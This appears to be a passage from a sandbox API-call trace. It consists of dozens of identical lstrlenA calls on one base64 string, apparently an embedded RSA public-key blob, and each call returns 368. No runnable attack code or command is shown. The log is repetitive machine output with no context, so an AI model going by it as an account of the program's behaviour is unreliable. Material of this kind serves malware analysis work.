	[0084.606] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.607] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.608] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
